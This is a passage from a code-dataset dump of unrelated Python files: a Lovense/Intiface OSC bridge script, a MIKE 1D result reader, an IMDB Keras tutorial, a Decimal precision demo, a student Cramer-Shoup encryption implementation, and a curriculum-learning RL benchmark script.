ButtplugClientDevice):\r\n tmmLog(\"Device Added: {}\".format(dev.name))\r\n devices[dev._index] = [dev._index,dev,dev.name,1.0]\r\n \r\n\r\ndef device_removed(emitter, dev: ButtplugClientDevice):\r\n tmmLog(\"Device removed: {}\".format(devices[dev][2]))\r\n del devices[dev]\r\n \r\n\r\nasync def run(argPath: str, argPort: int = 12345):\r\n \r\n ifacePath = os.path.abspath(argPath)\r\n ifacePort = str(argPort)\r\n \r\n\r\n\r\n proc = await asyncio.create_subprocess_exec(\r\n ifacePath,\r\n '--servername',\r\n 'Intiface Server',\r\n '--stayopen',\r\n '--wsinsecureport',\r\n ifacePort,\r\n '--with-lovense-connect',\r\n stdin=asyncio.subprocess.PIPE,\r\n stdout=asyncio.subprocess.PIPE,\r\n stderr=asyncio.subprocess.PIPE)\r\n\r\n while True:\r\n buf = await proc.stdout.readline()\r\n \r\n if not buf:\r\n break\r\n\r\n line = buf.decode('ascii').rstrip()\r\n print(f'IntifaceCLI: {line}')\r\n\r\n stderr = await proc.communicate()\r\n \r\n\r\n print(f'[{main!r} exited with {proc.returncode}]')\r\n if stderr:\r\n print(f'[stderr]\\n{stderr.decode()}')\r\n\r\nasync def main():\r\n \r\n asyncio.get_event_loop().create_task(run(os.path.join(os.getenv('LOCALAPPDATA'),'IntifaceDesktop/engine/IntifaceCLI.exe'),12345))\r\n # Set up Buttplug client\r\n connector = ButtplugClientWebsocketConnector(\"ws://127.0.0.1:12345\")\r\n client = ButtplugClient(\"MyClient\")\r\n client.device_added_handler += device_added\r\n client.device_removed_handler += device_removed\r\n try:\r\n await client.connect(connector)\r\n except ButtplugClientConnectorError as e:\r\n tmmLog(\"Could not connect to server, exiting: {}\".format(e.message))\r\n return\r\n \r\n\r\n \r\n await client.start_scanning()\r\n \r\n server = AsyncIOOSCUDPServer((ip, port), dispatcher, asyncio.get_event_loop())\r\n transport, protocol = await server.create_serve_endpoint() # Create datagram endpoint and start serving\r\n \r\n\r\n while True: # Keep the script running indefinitely\r\n await asyncio.sleep(1)\r\n \r\n await client.stop_scanning()\r\n await client.disconnect()\r\n \r\n\r\ndef tmmLog(message):\r\n time = datetime.datetime.now()\r\n print(\"TMM: {} {}\".format(time, message))\r\n\r\nif __name__ == \"__main__\":\r\n try:\r\n asyncio.run(main())\r\n except KeyboardInterrupt:\r\n tmmLog(\"Received exit, exiting\")\r\n exit()\r\n\r\n \r\n","repo_name":"TMM-VRC/VRC_Lovense_OSC","sub_path":"Test/TMM_OSC Lovense 2.0.py","file_name":"TMM_OSC Lovense 2.0.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20348407106","text":"import os.path\nimport pandas as pd\nimport datetime\n\nfrom ..dotnet import from_dotnet_datetime\nfrom ..various import NAME_DELIMITER\n\nfrom DHI.Mike1D.ResultDataAccess import ResultData\nfrom DHI.Mike1D.ResultDataAccess import ResultDataQuery\nfrom DHI.Mike1D.ResultDataAccess import ResultDataSearch\nfrom DHI.Mike1D.ResultDataAccess import Filter\nfrom DHI.Mike1D.ResultDataAccess import DataItemFilterName\nfrom DHI.Mike1D.ResultDataAccess import ResultTypes\n\nfrom DHI.Mike1D.Generic import Connection\nfrom DHI.Mike1D.Generic import Diagnostics\n\n\nclass ResultReader:\n \"\"\"\n Class for reading the ResultData object TimeData\n into Pandas data frame.\n\n Parameters\n ----------\n res1d : Res1D\n Res1D object the modified ResultData belongs to.\n file_path : str\n Relative or absolute path of the relevant result file.\n lazy_load : bool\n Flag specifying to load the file using lazy loading bridge of MIKE 1D.\n This typically is useful if only a few time steps need to be read for the whole network.\n header_load : bool\n Flag specifying to load just a header of the result file.\n reaches : list of str\n Filter list of reach ID strings, which will be included when loading the result file.\n nodes : list of str\n Filter list of node ID strings, which will be included when loading the result file.\n catchments : list of str\n Filter list of catchment ID strings, which will be included when loading the result file.\n col_name_delimiter : str\n String to delimit the quantity ID with location ID\n (and optionally chainage) in the data frame label.\n put_chainage_in_col_name : bool\n Flag specifying to add chainage into data frame column label.\n \"\"\"\n\n def __init__(\n self,\n res1d,\n file_path=None,\n lazy_load=False,\n header_load=False,\n reaches=None,\n nodes=None,\n catchments=None,\n col_name_delimiter=NAME_DELIMITER,\n put_chainage_in_col_name=True,\n ):\n self.res1d = res1d\n\n self.file_path = file_path\n self.file_extension = os.path.splitext(file_path)[-1]\n\n self.lazy_load = lazy_load\n\n self._reaches = reaches if reaches else []\n self._nodes = nodes if nodes else []\n self._catchments = catchments if catchments else []\n\n self.use_filter = reaches is not None or nodes is not None or catchments is not None\n\n self._load_header()\n if not header_load:\n self._load_file()\n\n self._time_index = None\n\n self.col_name_delimiter = col_name_delimiter\n self.put_chainage_in_col_name = put_chainage_in_col_name\n\n self.quantities = [quantity.Id for quantity in self.data.Quantities]\n\n # region File loading\n\n def _load_header(self):\n if not os.path.exists(self.file_path):\n raise FileExistsError(f\"File {self.file_path} does not exist.\")\n\n self.data = ResultData()\n self.data.Connection = Connection.Create(self.file_path)\n self.diagnostics = Diagnostics(\"Loading header\")\n\n if self.lazy_load:\n self.data.Connection.BridgeName = \"res1dlazy\"\n\n if self.use_filter:\n self.data.LoadHeader(True, self.diagnostics)\n else:\n self.data.LoadHeader(self.diagnostics)\n\n def _load_file(self):\n if self.use_filter:\n self._setup_filter()\n\n for reach in self._reaches:\n self._add_reach(reach)\n for node in self._nodes:\n self._add_node(node)\n for catchment in self._catchments:\n self._add_catchment(catchment)\n\n if self.file_extension.lower() in [\".resx\", \".crf\", \".prf\", \".xrf\"]:\n self.data.Load(self.diagnostics)\n else:\n self.data.LoadData(self.diagnostics)\n\n self.query = ResultDataQuery(self.data)\n self.searcher = ResultDataSearch(self.data)\n\n def _setup_filter(self):\n \"\"\"\n Setup the filter for result data object.\n \"\"\"\n if not self.use_filter:\n return\n\n self.data_filter = Filter()\n self.data_subfilter = DataItemFilterName(self.data)\n self.data_filter.AddDataItemFilter(self.data_subfilter)\n\n self.data.Parameters.Filter = self.data_filter\n\n def _add_reach(self, reach_id):\n self.data_subfilter.Reaches.Add(reach_id)\n\n def _add_node(self, node_id):\n self.data_subfilter.Nodes.Add(node_id)\n\n def _add_catchment(self, catchment_id):\n self.data_subfilter.Catchments.Add(catchment_id)\n\n # endregion File loading\n\n def read(self, queries=None):\n return None\n\n def read_all(self):\n return None\n\n def is_data_set_included(self, data_set):\n \"\"\"Skip filtered data sets\"\"\"\n name = self.get_data_set_name(data_set)\n if self.use_filter and name not in self._catchments + self._reaches + self._nodes:\n return False\n return True\n\n @property\n def time_index(self):\n \"\"\"pandas.DatetimeIndex of the time index.\"\"\"\n if self._time_index is not None:\n return self._time_index\n\n if self.is_lts_result_file():\n return self.lts_event_index\n\n time_stamps = [from_dotnet_datetime(t) for t in self.data.TimesList]\n self._time_index = pd.DatetimeIndex(time_stamps)\n return self._time_index\n\n def get_data_set_name(self, data_set, item_id=None):\n name = None\n\n if hasattr(data_set, \"Name\"):\n name = data_set.Name\n elif hasattr(data_set, \"Id\"):\n name = data_set.Id\n elif data_set.Quantity is not None:\n name = data_set.Quantity.Id\n\n name = \"\" if name is None else name\n\n # Add item id if present before the name.\n # Needed for unique identification of structures.\n name = self.col_name_delimiter.join([item_id, name]) if item_id is not None else name\n\n return name\n\n def get_column_name(self, data_set, data_item, i):\n quantity_id = data_item.Quantity.Id\n item_id = data_item.ItemId\n name = self.get_data_set_name(data_set, item_id)\n\n chainage = None\n if data_item.IndexList is not None:\n chainages = data_set.GetChainages(data_item)\n chainage = chainages[i]\n\n if name == \"\":\n return quantity_id\n\n if chainage is None:\n return self.col_name_delimiter.join([quantity_id, name])\n\n postfix = f\"{chainage:g}\" if self.put_chainage_in_col_name else str(i)\n return self.col_name_delimiter.join([quantity_id, name, postfix])\n\n # region Methods for LTS result files\n\n def update_time_quantities(self, df):\n if not self.is_lts_result_file():\n return\n\n simulation_start = from_dotnet_datetime(self.data.StartTime)\n for label in df:\n time_suffix = f\"Time{self.col_name_delimiter}\"\n if time_suffix in label:\n seconds_after_simulation_start_array = df[label].to_numpy()\n times = [\n simulation_start + datetime.timedelta(seconds=float(sec))\n for sec in seconds_after_simulation_start_array\n ]\n df[label] = times\n\n def is_lts_result_file(self):\n # For pythonnet version > 3.0 it is possible to call\n # return self._data.ResultType.Equals(ResultTypes.LTSEvents)\n return int(self.data.ResultType) == int(ResultTypes.LTSEvents)\n\n @property\n def lts_event_index(self):\n \"\"\"pandas.DatetimeIndex of the LTS event index.\"\"\"\n if self._time_index is not None:\n return self._time_index\n\n number_of_event_entries = len(self.data.TimesList)\n event_index = [i for i in range(number_of_event_entries)]\n\n self._time_index = pd.Index(event_index)\n\n return self._time_index\n\n # endregion Methods for LTS result files\n","repo_name":"DHI/mikeio1d","sub_path":"mikeio1d/result_reader_writer/result_reader.py","file_name":"result_reader.py","file_ext":"py","file_size_in_byte":7959,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"} +{"seq_id":"11552706884","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Analyzing IMDB Data in Keras\n\n\n# Imports\nimport numpy as np\nimport keras\nfrom keras.datasets import imdb\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.preprocessing.text import Tokenizer\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nnp.random.seed(42)\n\n\n# ## 1. Loading the data\n# This dataset comes preloaded with Keras, so one simple command will get us training and testing data. \n#There is a parameter for how many words we want to look at. We've set it at 1000, but feel free to experiment.\n\n\n# Loading the data (it's preloaded in Keras)\n(x_train, y_train), (x_test, y_test) = imdb.load_data(num_words=1000)\n\nprint(x_train.shape)\nprint(x_test.shape)\n\n\n# ## 2. Examining the data\n# Notice that the data has been already pre-processed, where all the words have numbers, \n#and the reviews come in as a vector with the words that the review contains. For example, if the word 'the' is the first one in our dictionary, and a review contains the word 'the', then there is a 1 in the corresponding vector.\n# \n# The output comes as a vector of 1's and 0's, where 1 is a positive sentiment for the review, and 0 is negative.\n\nprint(x_train[1])\nprint(\"-\"*50)\nprint(y_train[1])\n\n\n# ## 3. One-hot encoding the output\n# Here, we'll turn the input vectors into (0,1)-vectors. For example, if the pre-processed vector contains the number 14,\n#then in the processed vector, the 14th entry will be 1.\n\n\n# One-hot encoding the output into vector mode, each of length 1000\ntokenizer = Tokenizer(num_words=1000)\nx_train = tokenizer.sequences_to_matrix(x_train, mode='binary')\nx_test = tokenizer.sequences_to_matrix(x_test, mode='binary')\nprint(x_train[0])\n\n\n# And we'll also one-hot encode the output.\n\n\n# One-hot encoding the output\nnum_classes = 2\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\nprint(y_train.shape)\nprint(y_test.shape)\n\n\n# ## 4. Building the model architecture\n# Build a model here using sequential. Feel free to experiment with different layers and sizes! Also, experiment adding dropout to reduce overfitting.\n\n\n# TODO: Build the model architecture\n\nmodel = Sequential()\nmodel.add(Dense(512,activation = 'relu',input_shape = (x_train.shape[1],)))\nmodel.add(Dropout(0.2))\n#model.add(Dense(128,activation = 'relu'))\n#model.add(Dropout(0.1))\n#model.add(Dense(32,activation = 'relu'))\n#model.add(Dropout(0.1))\nmodel.add(Dense(2, activation='sigmoid'))\n\n# TODO: Compile the model using a loss function and an optimizer.\nopt = keras.optimizers.Adam(lr=0.01)\n#opt = tf.keras.optimizers.SGD(learning_rate=0.01, momentum=0.01, nesterov=False, name=\"SGD\", **kwargs)\nmodel.compile(loss = 'categorical_crossentropy' ,optimizer = opt, metrics = ['accuracy'])\nmodel.summary()\n\n\n# ## 5. Training the model\n# Run the model here. Experiment with different batch_size, and number of epochs!\n\n# TODO: Run the model. Feel free to experiment with different batch sizes and number of epochs.\nmodel.fit(x_train, y_train, epochs=1000, batch_size=100, verbose=0)\n\n\n# ## 6. Evaluating the model\n# This will give you the accuracy of the model, as evaluated on the testing set. Can you get something over 85%?\n\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint(\"Accuracy: \", score[1])\n\n\n# Building the model architecture with one layer of length 100\nmodel = Sequential()\nmodel.add(Dense(512, activation='relu', input_dim=1000))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\nmodel.summary()\n\n# reference solution\nmodel.compile(loss='categorical_crossentropy',\n optimizer='rmsprop',\n metrics=['accuracy'])\n\nhist = model.fit(x_train, y_train,\n batch_size=32,\n epochs=10,\n validation_data=(x_test, y_test), \n verbose=2)\n\n","repo_name":"youshikyou/Bigdata","sub_path":"Udacity/Data Scientist/1. Neural Network/IMDB_In_Keras.py","file_name":"IMDB_In_Keras.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"25462968578","text":"#!/usr/bin/python3\n#-*- coding: Utf-8 -*-\n\n########################################################################\n# (C) Alexandre Casamayou-Boucau, Pascal Chauvin, Guillaume Connan #\n# #\n# Complément de l'ouvrage : #\n# Programmation en Python pour les mathématiques #\n# Editeur : Dunod - Collection : Sciences Sup #\n# ISBN-13: 978-2100738311 - Licence : GPLv2 #\n########################################################################\n\n\nfrom decimal import *\n\ndef prod(x, y):\n\treturn x*y\n\ndef diff(x, y):\n\treturn ((x+y)/2)**2 - ((x-y)/2)**2\n\ndef euclide(a, b):\n c, d = Decimal(str(a)), Decimal(str(b))\n print('-'*53)\n print('{:<25s} | {:<25s}'.format('type float', 'type Decimal'))\n print('-'*53)\n for n in range(6):\n u, v = prod(a, b), diff(a, b)\n w, x = prod(c, d), diff(c, d)\n print('{:>25g} | {:>25g}'.format(u - v, w - x))\n a, b = u, a + 1\n c, d = w, c + 1\n print('-'*53)\n\na = 6553.99\nb = a + 1\n\nprint('{:*^53}'.format(' getcontext().prec = 28 '))\neuclide(a, b)\nprint()\ngetcontext().prec = 128\nprint('{:*^53}'.format(' getcontext().prec = 128 '))\neuclide(a, b)\n","repo_name":"mba-tradelab/programmation_python_mathematiques","sub_path":"sources/ch02/sec02_bat_incl/euclide.py","file_name":"euclide.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70853389631","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 12 10:29:07 2017\n\n@author: Arle, NervousK\n\"\"\"\n\nimport os\nimport random\nimport json\nimport binascii\nimport hashlib\nimport ast\nimport prime_tests as pt\n\ndef pick_candidate(length):\n range_start = (2**(length-1))\n range_end = (2**length)-1\n candidate = random.randint(range_start, range_end)\n\n return candidate\n\n\n\ndef is_smooth(p, k=2, B=800):\n if p % 2 != 0:\n q = (p-1)//2\n if pt.Baillie_PSW(q, k, B):\n return False\n else:\n return True\n else:\n return True\n\ndef pick_prime(length=64):\n prime= 0\n while prime == 0:\n candidate = pick_candidate(length)\n if pt.Baillie_PSW(candidate, 2, 800):\n if is_smooth(candidate):\n prime = candidate\n return prime\n\ndef find_generator(p):\n q = (p-1)//2\n h = 0\n while h == 0:\n candidate = random.randint(2, p-1)\n if pow(candidate, (p-1)//q, p) !=1:\n h = candidate\n return h\n\n\ndef generate_keys(length=8):\n length *= 8\n p = pick_prime(length)\n alpha1 = find_generator(p)\n alpha2 = find_generator(p)\n while alpha1 == alpha2:\n alpha2 = find_generator(p)\n x1 = random.randint(2, p-1)\n x2 = random.randint(2, p-1)\n y1 = random.randint(2, p-1)\n y2 = random.randint(2, p-1)\n w = random.randint(2, p-1)\n X = (pow(alpha1, x1, p)*pow(alpha2, x2, p))%p\n Y = (pow(alpha1, y1, p)*pow(alpha2, y2, p))%p\n W = pow(alpha1, w, p)\n\n key_data = {'public key':\n {'p': p,\n 'alpha1': alpha1,\n 'alpha2': alpha2,\n 'X':X,\n 'Y':Y,\n 'W':W,\n },\n 'private key':\n {'x1': x1,\n 'x2': x2,\n 'y1': y1,\n 'y2': y2,\n 'w': w\n }\n }\n\n with open(os.path.join(os.getcwd(), 'keys.json'), 'w') as keydatafile:\n keydatafile.seek(0)\n json.dump(key_data, keydatafile,indent=4, sort_keys=True)\n keydatafile.truncate()\n\n return key_data\n\ndef byte_len(x):\n s = bin(x)\n s = s.lstrip('-0b')\n return (len(s)//8)+1\n\ndef encode_block(block,p, b, B1, B2, W):\n\n block = int.from_bytes(block, byteorder='big')\n\n c = int((pow(W, b, p)*block)%p)\n cyfered_block = bytearray(c.to_bytes(((c.bit_length()+7)//8), byteorder='big'))\n\n return cyfered_block\n\ndef pack_block_verif(cyfered_block, B1, B2, b, p, X, Y):\n chain_to_hash = bytearray()\n chain_to_hash.extend(B1.to_bytes(((B1.bit_length()+7)//8), byteorder='big'))\n chain_to_hash.extend(B2.to_bytes(((B2.bit_length()+7)//8), byteorder='big'))\n chain_to_hash.extend(cyfered_block)\n beta_hash = hashlib.sha3_256(chain_to_hash).digest()\n\n beta = int.from_bytes(beta_hash, byteorder='big')\n verif = (pow(X, b, p) * pow(Y, (b*beta), p))%p\n verif_bytes = bytearray(verif.to_bytes(((verif.bit_length()+7)//8), byteorder='big'))\n packed_dict = {'B1':B1, 'B2': B2, 'cyfer': str(bytes(cyfered_block)), 'verif': str(bytes(verif_bytes))}\n return packed_dict\n\n\ndef encode_message(m, public_key, block_size):\n p = public_key['p']\n alpha1 = public_key['alpha1']\n alpha2 = public_key['alpha2']\n X = public_key['X']\n Y = public_key['Y']\n W = public_key['W']\n\n\n # m_bytes = bytearray(m.encode('utf-8'))\n m_bytes = bytearray(m)\n\n m_blocks = []\n for block_number in list(range(len(m_bytes)//block_size)):\n m_block = bytearray()\n for i in list(range(block_size)):\n m_block.append(m_bytes[block_number*block_size+i])\n m_blocks.append(m_block)\n\n m_block = m_bytes[(len(m_bytes)//block_size)*block_size:]\n while len(m_block) < block_size:\n m_block.append(0)\n m_blocks.append(m_block)\n\n cyfered_text = bytearray()\n\n cyfered_packed_list = []\n block_num = 0\n with open(os.path.join(os.getcwd(), 'cyfer.json'), 'r+') as cyferdatafile:\n data = cyferdatafile.read()\n if len(data)>0:\n current_dict = json.loads(data)\n else:\n current_dict = {}\n\n for block_num in list(range(len(m_blocks))):\n b = random.randint(2, p-1)\n B1 = pow(alpha1, b, p)\n B2 = pow(alpha2, b, p)\n cyfered_block = encode_block(m_blocks[block_num],p, b, B1, B2, W)\n cyfered_text.extend(cyfered_block)\n\n cyfered_packed = pack_block_verif(cyfered_block, B1, B2, b, p, X, Y)\n cyfered_packed_list.append(cyfered_packed)\n str_cyfered_pack = {'B1' : cyfered_packed['B1'],\n 'B2' : cyfered_packed['B2'],\n 'cyfer' : cyfered_packed['cyfer'],\n 'verif' : cyfered_packed['verif']}\n\n if current_dict != {}:\n if 'Cyfered Block' not in list(current_dict.keys()):\n current_dict['Cyfered Block'] = [str_cyfered_pack]\n else:\n if block_num >= len(current_dict['Cyfered Block']):\n update = list(current_dict['Cyfered Block'])\n update.append(str_cyfered_pack)\n current_dict['Cyfered Block'] = update\n\n else:\n current_dict['Cyfered Block'][block_num] = str_cyfered_pack\n else:\n current_dict = {'Cyfered Block':[str_cyfered_pack]}\n\n current_dict['Cyfered Block'] = current_dict['Cyfered Block'][:block_num+1]\n\n cyferdatafile.seek(0)\n json.dump(current_dict,\n cyferdatafile,indent=4, sort_keys=True)\n cyferdatafile.truncate()\n\n\n\n return cyfered_packed_list\n\n\ndef decode_bloc(block, p, B1, w):\n\n block = int.from_bytes(block, byteorder='big')\n m = (pow(B1, p-1-w, p) * block)% p\n\n uncyfered_block = bytearray(m.to_bytes(((m.bit_length()+7)//8), byteorder='big'))\n\n\n return uncyfered_block\n\ndef check_verif(B1,B2,c,x1,x2,y1,y2,p,verif):\n\n chain_to_hash = bytearray()\n chain_to_hash.extend(B1.to_bytes(((B1.bit_length()+7)//8), byteorder='big'))\n chain_to_hash.extend(B2.to_bytes(((B2.bit_length()+7)//8), byteorder='big'))\n chain_to_hash.extend(c)\n beta_hash = hashlib.sha3_256(chain_to_hash).digest()\n\n beta = int.from_bytes(beta_hash, byteorder='big')\n to_check = (pow(B1, x1, p) * pow(B2, x2, p) * pow((pow(B1, y1, p) * pow(B2, y2, p)), beta, p))%p\n to_check_bytes = bytearray(to_check.to_bytes(((to_check.bit_length()+7)//8), byteorder='big'))\n\n if to_check_bytes == verif:\n return True\n else:\n # raise ValueError('Hash not matching during verification check')\n return False\n\n\n\n\ndef decode_message(cyfer_packed, private_key, public_key, block_size):\n\n p = public_key['p']\n w = private_key['w']\n x1 = private_key['x1']\n x2 = private_key['x2']\n y1 = private_key['y1']\n y2 = private_key['y2']\n\n\n uncyfered_text = bytearray()\n\n\n block_num = 0\n with open(os.path.join(os.getcwd(), 'cyfer.json'), 'r+') as cyferdatafile:\n data = cyferdatafile.read()\n if len(data)>0:\n current_dict = json.loads(data)\n else:\n current_dict = {}\n for block_num in list(range(len(cyfer_packed))):\n B1 = cyfer_packed[block_num]['B1']\n B2 = cyfer_packed[block_num]['B2']\n c = bytearray(ast.literal_eval(cyfer_packed[block_num]['cyfer']))\n verif = bytearray(ast.literal_eval(cyfer_packed[block_num]['verif']))\n uncyfered_block = decode_bloc(c, p, B1, w)\n\n check = check_verif(B1,B2,c,x1,x2,y1,y2,p,verif)\n if check :\n str_uncyfered_pack = {'decoded' : str(bytes(uncyfered_block)),\n 'verif' : str(check)}\n uncyfered_text.extend(uncyfered_block)\n else:\n str_uncyfered_pack = {'verif' : str(check)}\n if current_dict != {}:\n if 'Uncyfered Block' not in list(current_dict.keys()):\n current_dict['Uncyfered Block'] = [str_uncyfered_pack]\n else:\n if block_num >= len(current_dict['Uncyfered Block']):\n update = list(current_dict['Uncyfered Block'])\n update.append(str_uncyfered_pack)\n current_dict['Uncyfered Block'] = update\n else:\n current_dict['Uncyfered Block'][block_num] = str_uncyfered_pack\n else:\n current_dict = {'Uncyfered Block':[str_uncyfered_pack]}\n\n current_dict['Uncyfered Block'] = current_dict['Uncyfered Block'][:block_num+1]\n\n cyferdatafile.seek(0)\n json.dump(current_dict,\n cyferdatafile,indent=4, sort_keys=True)\n cyferdatafile.truncate()\n\n with open(os.path.join(os.getcwd(), 'cyfer.json'), 'r+') as cyferdatafile:\n data = cyferdatafile.read()\n if len(data) > 0:\n current_dict = json.loads(data)\n current_dict['Uncyfered Text'] = str(bytes(uncyfered_text))\n else:\n current_dict = {'Uncyfered Text': str(bytes(uncyfered_text))}\n\n cyferdatafile.seek(0)\n json.dump(current_dict,\n cyferdatafile,indent=4, sort_keys=True)\n cyferdatafile.truncate()\n\n return uncyfered_text\n\ndef Cramer_Shoup_encode(path, block_len=8):\n with open(os.path.join(os.getcwd(),path), 'r+b') as bin_file:\n message = bin_file.read()\n if message is None:\n message = 'Hello World!! This is a default test string to be cyfered to check if everything works as expected!'\n clear_text = bytearray(message)\n byte_text = bytearray(binascii.hexlify(bytes(clear_text)))\n with open(os.path.join(os.getcwd(), 'cyfer.json'), 'w+') as cyferdatafile:\n data = cyferdatafile.read()\n if len(data) > 0:\n current_dict = json.loads(data)\n current_dict['Block length'] = str(block_len)\n current_dict['Clear Text'] = str(bytes(clear_text))\n current_dict['byte_text'] = str(bytes(byte_text))\n else:\n current_dict = {'Block length': str(block_len),\n 'Clear Text': str(bytes(clear_text)),\n 'byte_text': str(bytes(byte_text))}\n cyferdatafile.seek(0)\n json.dump(current_dict,\n cyferdatafile,indent=4, sort_keys=True)\n cyferdatafile.truncate()\n\n generate_keys(block_len)\n\n with open(os.path.join(os.getcwd(), 'keys.json')) as keydatafile:\n keys = json.loads(keydatafile.read())\n public_key = keys['public key']\n cyfer_packed = encode_message(message, public_key, block_len)\n return cyfer_packed\n\n\ndef Cramer_Shoup_decode(path='asym_decrypted'):\n public_key = None\n private_key = None\n block_len = None\n cyfer_packed = None\n with open(os.path.join(os.getcwd(), 'keys.json')) as keydatafile:\n keys = json.loads(keydatafile.read())\n public_key = keys['public key']\n private_key = keys['private key']\n with open(os.path.join(os.getcwd(), 'cyfer.json'), 'r+') as cyferdatafile:\n data = cyferdatafile.read()\n if len(data) > 0:\n cyfer_data = json.loads(data)\n block_len = cyfer_data['Block length']\n cyfer_packed = cyfer_data['Cyfered Block']\n\n if public_key is not None and private_key is not None and cyfer_packed is not None and block_len is not None:\n\n decyfer = decode_message(cyfer_packed, private_key, public_key, block_len)\n\n with open(os.path.join(os.getcwd(),path), 'wb') as output_file:\n output_file.write(bytes(decyfer))\n\n return decyfer\n\nif __name__ == '__main__':\n\n\n Cramer_Shoup_encode('test.txt', 64)\n Cramer_Shoup_decode('asym_decrypted.txt')","repo_name":"GlitchedRaven/3Fish_Cramer_GS15","sub_path":"cramer_shoup.py","file_name":"cramer_shoup.py","file_ext":"py","file_size_in_byte":11937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6334077221","text":"\"\"\"\nBenchmark performance of various teacher strategies\n\nauthor: William Tong (wtong@g.harvard.edu)\n\"\"\"\n# \nfrom dataclasses import dataclass, field\nimport os\nfrom typing import Callable\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.vec_env import SubprocVecEnv \nimport torch\nfrom tqdm import tqdm\n\nimport sys\nsys.path.append('../')\n\nfrom env import TrailEnv\nfrom curriculum import *\nfrom trail_map import *\n\ndef make_model(env, log_dir='log'):\n return PPO(\"CnnPolicy\", env, verbose=1,\n n_steps=1024,\n batch_size=256,\n # ent_coef=0.25,\n # ent_coef=0.15,\n ent_coef=0.05,\n gamma=0.98,\n gae_lambda=0.9,\n clip_range=0.2,\n max_grad_norm=1,\n vf_coef=0.36,\n n_epochs=5,\n learning_rate=0.0001,\n tensorboard_log=log_dir,\n policy_kwargs={\n 'net_arch': [{'pi': [128, 128], 'vf': [128, 128]}],\n 'activation_fn': torch.nn.ReLU\n },\n device='auto'\n )\n\ndef run_session(student, teacher, eval_env, cb_params, max_steps=3000000):\n student.learn(total_timesteps=max_steps, \n # eval_env=eval_env, \n # eval_freq=512, \n callback=[CurriculumCallback(teacher, eval_env=eval_env, **cb_params)])\n return teacher.trajectory\n\ndef make_break_sched(n=8, start_len=80, end_len=160, inc=0.025):\n len_sched = [start_len, end_len] + n * [end_len]\n break_sched = [[], []] + [[(0.5, 0.5 + i * inc)] for i in range(1, n + 1)]\n return to_sched(len_sched, break_sched)\n\ndef to_sched(rates):\n trail_args = {\n 'wind_speed': 5,\n 'length_scale': 20,\n # 'range': (-np.pi, np.pi)\n 'heading': 0\n }\n\n sched = [dict(start_rate=r, max_steps='auto', **trail_args) for r in rates]\n return sched\n\ndef to_sched_range(rate_ranges):\n trail_args = {\n 'wind_speed': 5,\n 'length_scale': 20,\n # 'range': (-np.pi, np.pi)\n 'heading': 0\n }\n\n sched = [dict(start_rate_range=r, max_steps='auto', **trail_args) for r in rate_ranges]\n return sched\n\ndef to_sched_dist(dists):\n trail_args = {\n 'wind_speed': 5,\n 'length_scale': 20,\n 'range': (-np.pi, np.pi)\n }\n\n sched = [dict(start_dist=d, max_steps='auto', **trail_args) for d in dists]\n return sched\n\ndef to_sched_em(ems, dists):\n trail_args = {\n 'wind_speed': 5,\n 'length_scale': 20,\n 'range': (-np.pi, np.pi),\n }\n\n sched = [dict(emission_rate=e, start_dist=d, max_steps='auto', **trail_args) for e, d in zip(ems, dists)]\n return sched\n\n# def to_sched_cont():\n# trail_args = {\n# 'width': 5,\n# 'diff_rate': 0.02,\n# 'radius': 70,\n# 'reward_dist': -1,\n# 'range': (-np.pi, np.pi)\n# }\n\n# def sched(x):\n# return dict(length=x, breaks=[(0.5, 0.6)], **trail_args)\n \n# return sched\n\n\n@dataclass\nclass Case:\n name: str = ''\n teacher: Callable = None\n teacher_handle: Teacher = None\n teacher_params: dict = field(default_factory=dict)\n cb_params: dict = field(default_factory=dict)\n runs: list = field(default_factory=list)\n\n\nif __name__ == '__main__':\n save_dir = Path('plume_runs')\n \n scratch_dir = os.getenv('SCRATCH')\n if scratch_dir:\n save_dir = Path(scratch_dir) / 'pehlevan_lab' / 'Lab' / 'wlt' / 'acl' / save_dir\n\n if not save_dir.exists():\n save_dir.mkdir(exist_ok=True, parents=True)\n\n rng = np.random.default_rng(None)\n run_id = rng.integers(999999)\n print('RUN ID', run_id)\n\n n_runs = 1\n # rates = [1, 0.9, 0.8, 0.7, 0.6, 0.5, 0.4, 0.3, 0.275, 0.25, 0.225, 0.2, 0.175, 0.15, 0.125, 0.1]\n # rates = [1, 0.9, 0.8, 0.7, 0.6, 0.5]\n # rates = [1, 0.9]\n\n # init_rate = 1\n # rate_decay = 0.75\n # n_rates = 6\n # rates = [init_rate * rate_decay ** n for n in range(n_rates)]\n\n # init_rate = 0.5\n # rate_jump = 0.1\n # n_rates = 24\n\n init_rate = 0.5\n rate_jump=0.75\n rate_spread = 0\n n_rates=4\n\n sec_rate = init_rate + n_rates * rate_jump\n sec_rate_jump=0.75\n n_rates2=4\n\n inv_rates = [init_rate + i * rate_jump for i in range(n_rates)] + [sec_rate + i * sec_rate_jump for i in range(n_rates2)]\n rates = [((1 / (r - rate_spread)), (1 / (r + rate_spread))) for r in inv_rates]\n print('RATES', rates)\n sched = to_sched_range(rates)\n # dists = [PlumeTrail(**args).y_min for args in sched]\n # print('DISTS', dists)\n\n # dists = [10, 15, 20, 25, 30, 35]\n # sched = to_sched_dist(dists)\n # print('SCHED', sched)\n\n # start_rate = 2\n # rate_fac = 0.5\n # rates = [start_rate * rate_fac ** i for i in range(5)]\n # rates = [2, 2, 2, 1.5, 1.125, 